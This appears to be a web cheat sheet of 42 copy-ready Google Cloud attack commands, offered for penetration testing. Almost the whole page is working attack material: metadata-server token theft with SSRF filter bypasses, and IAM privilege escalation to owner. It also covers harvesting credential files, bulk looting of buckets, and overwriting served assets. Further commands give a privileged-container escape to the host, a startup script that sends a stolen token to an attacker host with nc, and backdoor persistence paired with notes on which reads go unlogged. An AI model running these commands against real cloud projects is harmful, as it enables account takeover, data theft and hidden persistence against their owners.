Google Cloud Platform attack techniques: metadata server SSRF, service account token theft and impersonation, IAM privilege escalation paths, Cloud Storage enumeration, and gcloud/curl post-exploitation. For authorized GCP penetration testing. (42 payloads)
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" -H "Metadata-Flavor: Google"curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" -H "Metadata-Flavor: Google"curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://example.com&format=full" -H "Metadata-Flavor: Google"curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" -H "Metadata-Flavor: Google"# SSRF reaching IMDS without the custom header — recursive/alias endpoints:
curl -s "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=json" -H "Metadata-Flavor: Google"
curl -s "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token" # legacy: no header required# Metadata host aliases / IP encodings for SSRF filter bypass:
http://metadata.google.internal/...
http://metadata/computeMetadata/v1/... # short hostname (same-VPC DNS)
http://169.254.169.254/computeMetadata/v1/...
http://[0:0:0:0:0:ffff:a9fe:a9fe]/computeMetadata/v1/... # IPv4-mapped IPv6
http://2852039166/computeMetadata/v1/... # 169.254.169.254 as decimalTOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN"TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
curl -s -H "Authorization: Bearer $TOKEN" "https://cloudresourcemanager.googleapis.com/v1/projects"
curl -s -H "Authorization: Bearer $TOKEN" "https://compute.googleapis.com/compute/v1/projects/<PROJ>/zones/<ZONE>/instances"gcloud auth activate-service-account --key-file=/path/to/key.json
gcloud config set project <PROJECT_ID>
gcloud auth list
gcloud auth print-access-tokengcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" --filter="bindings.members:$(gcloud config get-value account)" --format="table(bindings.role)"gcloud iam service-accounts keys create exfil.json --iam-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.comgcloud auth print-access-token --impersonate-service-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.com
gcloud compute instances list --impersonate-service-account=<TARGET_SA>@<PROJ>.iam.gserviceaccount.comcurl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<TARGET_SA>@<PROJ>.iam.gserviceaccount.com:generateAccessToken" -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}'curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<TARGET_SA>:signJwt" -d '{"payload":"{\"iss\":\"<TARGET_SA>\",\"sub\":\"<TARGET_SA>\",\"aud\":\"https://oauth2.googleapis.com/token\"}"}'gcloud config list
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db
find / -name "*.json" 2>/dev/null | xargs grep -l 'private_key' 2>/dev/null
grep -rE 'GOOGLE_APPLICATION_CREDENTIALS' / 2>/dev/nullgcloud projects get-iam-policy <PROJECT_ID> --format=json
gcloud iam service-accounts list
gcloud iam roles list --project=<PROJECT_ID>
gcloud iam roles describe <ROLE> --project=<PROJECT_ID># Privesc: iam.serviceAccounts.actAs + a deploy permission
gcloud compute instances create privesc-vm --zone=<ZONE> --service-account=<HIGH_PRIV_SA>@<PROJ>.iam.gserviceaccount.com --scopes=cloud-platform --metadata=startup-script='curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | nc <ATTACKER> 443'# Privesc: setIamPolicy on the project = grant yourself owner
gcloud projects add-iam-policy-binding <PROJECT_ID> --member="user:[email protected]" --role="roles/owner"
# Or grant token-creator on a powerful SA:
gcloud iam service-accounts add-iam-policy-binding <SA> --member="user:[email protected]" --role="roles/iam.serviceAccountTokenCreator"# Privesc: iam.roles.update on a role you already hold
gcloud iam roles update <CUSTOM_ROLE> --project=<PROJ> --add-permissions=resourcemanager.projects.setIamPolicy,iam.serviceAccounts.getAccessToken# Privesc: deploymentmanager.deployments.create runs as the GCP-managed SA
gcloud deployment-manager deployments create pwn --config=evil.yaml
# evil.yaml uses gcp-types/cloudresourcemanager to add an IAM binding via the
# <PROJECT_NUMBER>@cloudservices.gserviceaccount.com SA (often Editor).# Privesc: cloudbuild.builds.create runs as <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
gcloud builds submit --config=cloudbuild.yaml --no-source
# cloudbuild.yaml step runs: gcloud projects add-iam-policy-binding ... roles/owner# Audit-everything: pull org/folder policies, find privesc edges
gcloud organizations list
gcloud resource-manager folders list --organization=<ORG_ID>
gcloud asset search-all-iam-policies --scope=projects/<PROJ> --query="policy:[email protected]"# Public/anonymous bucket access (no auth):
curl -s "https://storage.googleapis.com/<BUCKET>/"
curl -s "https://storage.googleapis.com/storage/v1/b/<BUCKET>/o" # JSON object list
gsutil ls -r gs://<BUCKET>/# Bucket name enumeration patterns (GCS names are GLOBAL):
<company>-backup <company>-backups <company>-prod <company>-dev
<company>-staging <company>-data <company>-assets <company>-logs
<company>-tfstate <company>-terraform <company>-artifacts
<company>.appspot.com # App Engine default bucket
staging.<project-id>.appspot.com# Check bucket IAM / ACL exposure:
gsutil iam get gs://<BUCKET>
gcloud storage buckets get-iam-policy gs://<BUCKET>
curl -s "https://storage.googleapis.com/storage/v1/b/<BUCKET>/iam" -H "Authorization: Bearer $TOKEN"# Writable bucket check + supply-chain poisoning:
echo test > /tmp/poc.txt
gsutil cp /tmp/poc.txt gs://<BUCKET>/poc.txt
gsutil cp evil.js gs://<BUCKET>/static/app.js # overwrite a served asset# Enumerate & loot with stolen creds:
gsutil ls
gsutil ls -L -b gs://<BUCKET> # bucket metadata
gsutil -m cp -r gs://<BUCKET> ./loot/ # bulk download (multi-threaded)
gsutil ls gs://<BUCKET>/**.{json,env,pem,sql,bak,tfstate}# Object versioning recovers 'deleted'/overwritten data:
gsutil ls -a gs://<BUCKET>/sensitive.json
gsutil cp gs://<BUCKET>/sensitive.json#<GENERATION> ./old.json# HMAC keys = S3-compatible long-lived creds for a bucket SA:
gsutil hmac create <SA>@<PROJ>.iam.gserviceaccount.com
gsutil hmac list# On a GKE node, kube-env in metadata holds bootstrap creds:
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env" -H "Metadata-Flavor: Google"
# Extract KUBELET_KEY / KUBELET_CERT / CA_CERT and authenticate to the API server# From a pod where the node SA token is reachable:
TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" | jq -r .access_token)
gcloud container clusters get-credentials <CLUSTER> --region <REGION> --project <PROJ>
kubectl get secrets -A# Workload Identity abuse — pod SA maps to a GCP SA:
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"
# (Returns the GCP SA bound to the pod's KSA via roles/iam.workloadIdentityUser)# Cloud Functions / Cloud Run runtime token (same IMDS path inside the sandbox):
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
env | grep -iE 'KEY|TOKEN|SECRET|PASSWORD'# Inspect / modify Cloud Function source & SA:
gcloud functions list
gcloud functions describe <FN> --region <REGION>
gcloud functions deploy <FN> --runtime nodejs20 --trigger-http --service-account <HIGH_PRIV_SA> --source .# Privileged container -> host on a GKE/Compute node:
kubectl run pwn --image=ubuntu --restart=Never --overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"ubuntu","command":["/bin/sh","-c","sleep 1d"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}'
kubectl exec -it pwn -- chroot /host bashgcloud asset search-all-resources --scope=projects/<PROJ>
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[].accessConfigs[].natIP)"
gcloud secrets list && gcloud secrets versions access latest --secret=<NAME>
gcloud sql instances list && gcloud kms keys list --location=<LOC> --keyring=<KR># Persistence: add a key to a target SA (durable, non-expiring)
gcloud iam service-accounts keys create bd.json --iam-account=<SA>
# Persistence: grant a benign-looking external account a quiet role
gcloud projects add-iam-policy-binding <PROJ> --member="serviceAccount:[email protected]" --role="roles/viewer" --condition=None# Persistence via metadata SSH (if you have compute.instances.setMetadata):
gcloud compute instances add-metadata <VM> --zone=<ZONE> --metadata=ssh-keys="attacker:ssh-ed25519 AAAA... attacker"
# Project-wide:
gcloud compute project-info add-metadata --metadata=ssh-keys="attacker:ssh-ed25519 AAAA..."# Check what logging will record:
gcloud logging sinks list
gcloud logging read 'protoPayload.authenticationInfo.principalEmail="<YOUR_SA>"' --limit=20
# Data Access logs (object reads) are OFF by default — GCS reads are usually NOT logged# Map external attack surface without internal creds:
gcloud container images list --repository=gcr.io/<PROJ> # if AR/GCR is public
curl -s "https://gcr.io/v2/<PROJ>/<IMAGE>/tags/list"
# Public GCR/Artifact Registry repos leak image names and can be pulled anonymously# Useful offensive tooling for GCP:
# - GCPBucketBrute: GCS bucket name brute + permission check
# - gcp_enum / gcp_scanner: credential-driven enumeration
# - Hayat / GCP IAM Privilege Escalation (Rhino): privesc path finder
# - ScoutSuite: multi-cloud misconfig auditor (gcp provider)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 42 GCP Attacks payloads for testing GCP Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Secret Scanner to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all GCP Attacks payloads are completely free, with no account required. Everything runs in your browser.